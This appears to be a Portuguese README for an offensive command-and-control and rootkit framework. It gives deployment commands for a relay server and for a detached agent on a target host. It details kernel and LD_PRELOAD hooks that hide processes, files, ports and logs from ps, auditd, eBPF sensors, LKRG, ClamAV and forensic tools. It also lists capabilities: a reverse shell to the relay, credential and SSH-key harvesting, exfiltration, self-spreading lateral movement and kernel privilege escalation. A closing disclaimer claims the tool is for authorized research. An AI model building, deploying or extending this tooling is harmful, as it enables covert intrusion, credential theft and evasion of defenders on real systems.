### 2. Configurar```bash
cp build.env.example build.env
nano build.env      # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN

Os binários vão para `bin/`.

### 4. Inicializar o relay```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh

# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/

Implante um agente no alvo:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown

| Componente | Função |
|---|---|
| `bat-agent` | Agente. Faz beacon, executa TTPs. Ofuscado com Garble. |
| `bat-server` | Console do operador. CLI interativa. Gerencia todos os agentes. |
| `netshell` | Binário de entrega. Parece uma ferramenta do sistema; é um agente completo. |
| `bat-rootkit.so` | Rootkit userspace LD_PRELOAD. Oculta arquivos, PIDs, portas, variáveis de ambiente. |
| `bat-stealth.ko` | Camada de stealth no kernel (baseado em Singularity). |
| `kcc-server` | Serviço de relay. Compila `bat-stealth.ko` sob demanda para o kernel em execução do alvo. |
| `relay/` | Infraestrutura de relay: nginx, TLS, setup, sincronização, scripts de entrega. |

---

## Defesas Contornadas

| Categoria | Defesa | Mecanismo de Contorno |
|---|---|---|
| Monitoramento de processos | `ps` / `top` / listagem de `/proc` | `hiding_procs.c`: hook `getdents64` remove entradas de PID do agente do procfs antes da leitura pelo userspace |
| Monitoramento de processos | `/proc/<pid>/status`, `/proc/<pid>/cmdline` | `hiding_procs.c`: hook `filldir` filtra prefixos de PID de todos os resultados de readdir |
| Sistema de arquivos | `ls` / `find` sobre arquivos e diretórios do agente | `hiding_fs.c`: hooks `getdents64`/`getdents` em caminhos alvo; nlink stat ajustado para corresponder |
| Sistema de arquivos | Detecção de `lsattr` / `chattr` | `hiding_fs.c`: interceptação `ioctl` em caminhos de arquivo do agente |
| Sistema de arquivos | Listagem de `/proc/modules` / `lsmod` | `hiding_module.c`: remove entrada de `bat-stealth.ko` de todas as listas de módulos sysfs e procfs |
| Rede | Listagens de porta `ss` / `netstat` | `hiding_net.c`: hooks `tcp4_seq_show`/`tcp6_seq_show` removem entradas de porta C2 da saída |
| Rede | `/proc/net/tcp`, `/proc/net/tcp6` | `hiding_net.c`: interceptação de leitura seq_file descarta linhas de socket C2 |
| Logs | Caminho de escrita de `syslog` / `journald` | `hooks_write.c`: interceptação de `write`/`splice`/`sendfile`/`tee`; entradas de log correspondentes a strings do agente são descartadas no kernel |
| Logs | Caminho de escrita assíncrona `io_uring` | `hooks_write.c`: interceptação de `io_uring_enter`/`io_uring_enter2`; caminho compat ia32 coberto |
| Segurança do kernel | `rkhunter` / `chkrootkit` | Módulo oculto de `/proc/modules`; arquivos do agente ocultos do sistema de arquivos; zero avisos verificado |
| Segurança do kernel | ClamAV | Ofuscação Garble `-literals -tiny` + sem strings de texto claro incorporadas; 0 detecções verificadas (BD 2026-04-20) |
| EDR / eBPF | Sensores eBPF lendo `/proc` | Hooks de ocultação interceptam no nível do kernel antes que eventos do ring buffer eBPF sejam produzidos |
| Introspecção do kernel | `ftrace` / `kprobes` em símbolos do agente | Módulo `selfdefense` bloqueia anexação de kprobe em endereços de funções do agente |
| Forense do kernel | Aquisição de memória LiME | `selfdefense` bloqueia carregamento do módulo LiME e acesso a dispositivo de memória bruta |
| Forense do kernel | Despejo de tarefa SysRq-T | `sysrq_hook` exclui processos ocultos da lista de tarefas escrita por SysRq-T |
| Forense do kernel | NETLINK taskstats | `taskstats_hook` filtra respostas NETLINK taskstats para PIDs ocultos |
| Integridade do kernel | Aplicação LKRG | `lkrg_bypass` suprime entrega de `SIGKILL` do LKRG e descarta mensagens de log do LKRG |
| Subsistema de auditoria | Gravação de syscall `auditd` | Módulo `audit` suprime eventos de auditoria para todos os PIDs ocultos na camada de auditoria do kernel |

---

## Hooks de Syscall

Todos os hooks são instalados por `bat-stealth.ko` via ftrace no momento do carregamento. Entradas ia32 são compiladas apenas em x86_64 (`#ifdef ARCH_SYS_IA32`).

| Chamada de sistema / Função | Módulo | Propósito |
|---|---|---|
| `getdents64` | `hiding_procs.c` | Ocultar PIDs do agente de listagens de diretório `/proc` |
| `getdents` | `hiding_procs.c` | Compat 32 bits: ocultar PIDs do agente |
| `filldir` (readdir) | `hiding_procs.c` | Filtro complementar de entrada proc para chamadores readdir legados |
| `getdents64` | `hiding_fs.c` | Ocultar arquivos do agente de listagens de diretório |
| `getdents` | `hiding_fs.c` | Compat 32 bits: ocultar arquivos do agente |
| `ia32_getdents64` | `hiding_fs.c` | Chamada de sistema compat x86 |
| `ia32_getdents` | `hiding_fs.c` | Chamada de sistema compat x86 |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | Interceptações stat de 32 bits para caminhos ocultos |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | Interceptações open/access de 32 bits |
| `ia32_readlink` | `hiding_fs.c` | Interceptação readlink de 32 bits |
| `ia32_chdir` | `hiding_fs.c` | Interceptação chdir de 32 bits |
| `ioctl` | `hiding_fs.c` | Interceptar ioctl `lsattr`/`chattr` em caminhos do agente |
| `tcp4_seq_show` | `hiding_net.c` | Ocultar entradas de porta C2 de `/proc/net/tcp` |
| `tcp6_seq_show` | `hiding_net.c` | Ocultar entradas de porta C2 de `/proc/net/tcp6` |
| `bpf` | `bpf_hook.c` | Zerar telemetria para PIDs ocultos em todos os programas eBPF |
| `write` | `hooks_write.c` | Descartar entradas de log contendo strings do agente antes de chegar ao syslog |
| `splice` | `hooks_write.c` | Mesma interceptação via caminho splice |
| `sendfile` | `hooks_write.c` | Mesma interceptação via caminho sendfile |
| `tee` | `hooks_write.c` | Mesma interceptação via caminho tee |
| `io_uring_enter` | `hooks_write.c` | Interceptação de escrita assíncrona io_uring |
| `io_uring_enter2` | `hooks_write.c` | Interceptação de escrita assíncrona io_uring (syscall v2) |
| `sched_process_fork` (tracepoint) | `pid_manager.c` | Herdar status oculto entre `fork`/`clone` |
| `vprintk_emit` | `lkrg_bypass.c` | Descartar mensagens de log do kernel do LKRG |
| `finit_module` / `init_module` | agent (carregador kcc) | Carregamento de módulo do kernel sem arquivo via `memfd_create` + fd anônimo |

---

## Referência de TTPs

| TTP | Nome | Descrição |
|---|---|---|
| 1 | masquerade | Renomear comm do processo para `kworker/0:1` (ou personalizado) |
| 2 | reverse_shell | Shell TCP reverso para relay:4445 |
| 3 | memory_rwx | Alocar memória anônima RWX (sonda de detecção) |
| 4 | shell_exec | Executar comando shell arbitrário |
| 5 | beacon | Forçar check-in extra imediato |
| 6 | persist | Instalar persistência (cron / systemd / rc.local / openrc / profile / XDG autostart) |
| 7 | creddump | Colher `/etc/shadow`, histórico bash, segredos de env, AWS IMDS |
| 9 | exec_chain | Gerar cadeia de processo (sonda de detecção) |
| 10 | install_rootkit | Implantar `bat-rootkit.so` via `/etc/ld.so.preload` |
| 11 | inject + exit | Injetar threads beacon + rawsock em processo ativo, depois auto-sair |
| 20 | network_recon | Tabela ARP + varredura TCP :22 da sub-rede local |
| 21 | ssh_harvest | Coletar chaves privadas, known_hosts, authorized_keys, configurações |
| 22 | lateral_move | SCP do próprio para host descoberto via SSH, exec desanexado |
| 23 | creddump_full | Colheita estendida de credenciais + impressão digital do ambiente |
| 30 | exfil-file | Ler arquivo arbitrário e transmitir chunks base64 pelo canal beacon |
| 31 | exfil-dir | Tar+gzip em um diretório e exfiltrar pelo canal beacon |
| 32 | exfil-auto | Observar caminhos configurados e auto-exfiltrar em alteração |
| 34 | netmap | Escanear CIDR /16 por hosts ativos e portas abertas |
| 35 | autospread | Movimento lateral SSH para hosts descobertos usando chaves colhidas; copia agente e executa desanexado |
| 36 | smbprobe | Sonda de porta SMB (:445) para candidatos a movimento lateral |
| 99 | kill | Auto-terminação silenciosa |
| 222 | destruct | Remover todos os artefatos, limpar memória, sair |
| 1003 | K-03 (privesc) | Sinal do kernel 59 aciona `commit_creds` para uid=0 |
| 1099 | K-99 (unload) | Descarregamento de `bat-stealth.ko` em duas fases via sysfs + `delete_module(2)` bruto |

Comandos do console (no prompt `bat-server`):
- `kill`: TTP 99 para todos os agentes
- `destruct`: TTP 222 para todos os agentes
- `destruct @<agentID>`: limpeza direcionada

---


### KCC: Cache de Compilação do Kernel

`bat-stealth.ko` é compilado sob demanda para o kernel em execução do alvo. O agente automatiza o fluxo completo em tempo de execução; nenhum módulo pré-construído é necessário por alvo:

1. **Detectar kernel**: o agente lê `/proc/version` para obter a string exata do `uname -r`.
2. **Solicitar compilação**: o agente faz POST da string do kernel para `kcc-server` (`:9444`) com uma requisição assinada por HMAC.
3. **kcc-server compila**: o servidor constrói `bat-stealth.ko` contra os cabeçalhos de kernel correspondentes e armazena em cache o resultado pelo hash do kernel.
4. **Receber bytes do módulo**: o `.ko` compilado é retornado no corpo da resposta.
5. **Carregamento sem arquivo**: o agente cria um arquivo de memória anônimo (`memfd_create`, syscall 279 no x86_64 / 319 no ARM64), escreve os bytes do módulo e chama `finit_module` (syscall 273 / 313) com uma string de parâmetros vazia.
6. **Registro**: o módulo registra todos os hooks e se oculta do sysfs/procfs em milissegundos.

Nenhum arquivo `.ko` é escrito em disco em nenhum momento. O módulo desaparece de `/proc/modules` imediatamente após o carregamento.

**Kernel mínimo:** 6.x (sonda K-00; o agente pula o carregamento stealth em kernels mais antigos).  
**Testado:** 6.1.0 (Debian 12 / Ubuntu LTS), 6.8.0 (Ubuntu 22.04 GCP).

---

## Perfis de Compilação```bash
make lab SECRET=<hex>          # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex>          # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex>  # ICMP trigger only, no UDP port exposure

As credenciais são escritas em `/etc/bat/tg.env` no relay e propagadas para todos os alvos de sincronização via `sync.sh --tg`. O serviço inicia automaticamente e sobrevive a reinicializações do relay.

---

## Aviso Legal

Este software é desenvolvido exclusivamente para pesquisa de segurança autorizada, simulação de adversários em ambientes de laboratório controlados e o desenvolvimento de capacidades de detecção e resposta. Ele contém implementações funcionais de técnicas ofensivas, incluindo rootkits a nível de kernel, injeção de processos, coleta de credenciais e movimento lateral. A implantação em qualquer sistema sem autorização explícita por escrito do proprietário do sistema é ilegal sob as leis aplicáveis de fraude e abuso de computadores na maioria das jurisdições.

Os autores não aceitam nenhuma responsabilidade por quaisquer danos, consequências legais ou prejuízos resultantes do uso não autorizado, negligente ou malicioso deste software. Ao usar este software, você afirma ser um profissional de segurança qualificado operando dentro de um escopo legal e autorizado, e que a total responsabilidade legal e ética pelo seu uso recai exclusivamente sobre você.

Este software não deve ser redistribuído, publicado ou divulgado a terceiros sem consentimento prévio por escrito.